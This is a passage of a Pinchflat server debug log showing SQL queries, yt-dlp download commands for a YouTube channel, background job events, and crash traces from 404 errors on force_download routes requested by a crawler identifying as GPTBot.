s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:28.101 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:28.101 [error] #PID<0.5094.0> running PinchflatWeb.Endpoint (connection #PID<0.5093.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/99/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/99/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/99/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/99", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5094.0>, params: %{}, path_info: ["sources", "1", "media", "99", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/99"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/99/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhejCD2OP-r7AAAW4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/99/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/99", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/99/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/99/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47750}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/99", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5094.0>, params: %{}, path_info: ["sources", "1", "media", "99", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:49:28.962 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:48.047 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/98/469832636d0e9ca721ce59d9e66ecef198b882527c7099ae284cb9926f60d6d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:49:48.062 [debug] Running yt-dlp command for action: download_thumbnail 22:49:48.062 [debug] QUERY OK source="settings" db=0.1ms idle=1999.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.063 [debug] QUERY OK source="settings" db=0.0ms idle=1999.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.063 [debug] QUERY OK source="settings" db=0.0ms idle=1999.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:48.063 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/106/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/85/dc/85dcd80bfe639366ec8d7258c7fee22d3be74120927a0f0c2bc71484cd8dbfa0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:49:50.822 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DUsUx-Hhiyo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/106/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/85/dc/85dcd80bfe639366ec8d7258c7fee22d3be74120927a0f0c2bc71484cd8dbfa0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:49:50.822 [debug] QUERY OK db=0.0ms idle=1759.0ms begin [] 22:49:50.823 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:49:48Z], "/downloads/Last Meals/2024-09-10 Terry Crews Eats His Last Meal/Terry Crews Eats His Last Meal [DUsUx-Hhiyo].mp4", ~U[2026-03-28 02:49:50Z], 106] 22:49:50.823 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/106/metadata.json.gz", "/config/metadata/media_items/106/thumbnail.jpg", 106, ~U[2026-03-28 02:49:50Z], ~U[2026-03-28 02:49:50Z]] 22:49:50.824 [debug] QUERY OK db=0.0ms commit [] 22:49:50.825 [debug] QUERY OK source="media_items" db=0.6ms idle=1760.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [505676814, ~U[2026-03-28 02:49:50Z], 106] 22:49:50.825 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:49:50.825 [info] {"args":{"id":106},"id":105,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":184352232,"event":"job:stop","queue_time":7047472393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:49:50.825 [debug] QUERY OK source="tasks" db=0.2ms idle=761.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:50.825 [debug] QUERY OK source="tasks" db=0.2ms idle=83.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:50.825 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [107] 22:49:50.825 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [107] 22:49:50.830 [info] {"args":{"id":108},"id":107,"meta":{},"system_time":1774666190830670206,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:49:50.830 [debug] QUERY OK source="media_items" db=0.1ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:49:50.831 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:49:50.831 [debug] QUERY OK source="tasks" db=0.3ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:50.831 [debug] QUERY OK source="tasks" db=0.3ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:50.831 [debug] QUERY OK source="sources" db=0.1ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:49:50.831 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:49:50.831 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [107, 108] 22:49:50.831 [debug] QUERY OK source="media_items" db=0.3ms idle=0.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [107, 108] 22:49:50.832 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [108] 22:49:50.832 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [108] 22:49:50.832 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:49:50.832 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:50.832 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:50.832 [debug] Running yt-dlp command for action: get_downloadable_status 22:49:50.833 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:50.833 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:50.833 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:50.833 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/a5/f2a5d4d1b6187fd272d36156d285f65eccd1acb932cb51ca1ce0e0e0e2867d39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:49:52.943 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/a5/f2a5d4d1b6187fd272d36156d285f65eccd1acb932cb51ca1ce0e0e0e2867d39.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:49:52.943 [debug] Running yt-dlp command for action: download 22:49:52.943 [debug] QUERY OK source="settings" db=0.1ms idle=880.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:52.944 [debug] QUERY OK source="settings" db=0.1ms idle=880.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:52.944 [debug] QUERY OK source="settings" db=0.0ms idle=880.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:52.944 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/65/1365c38ab0e8d675ca37e141057d7913cbf4b8d310dff682a9dc2a633e25b185.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:49:58.963 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.690 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:28.754 [info] GET /sources/1/media/58/force_download 22:50:28.755 [debug] QUERY OK source="settings" db=0.1ms idle=943.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:28.755 [debug] QUERY OK source="settings" db=0.0ms idle=692.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:50:28.755 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:50:28.756 [error] #PID<0.5106.0> running PinchflatWeb.Endpoint (connection #PID<0.5105.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/58/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/58/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/58/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47880}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/58", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5106.0>, params: %{}, path_info: ["sources", "1", "media", "58", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", 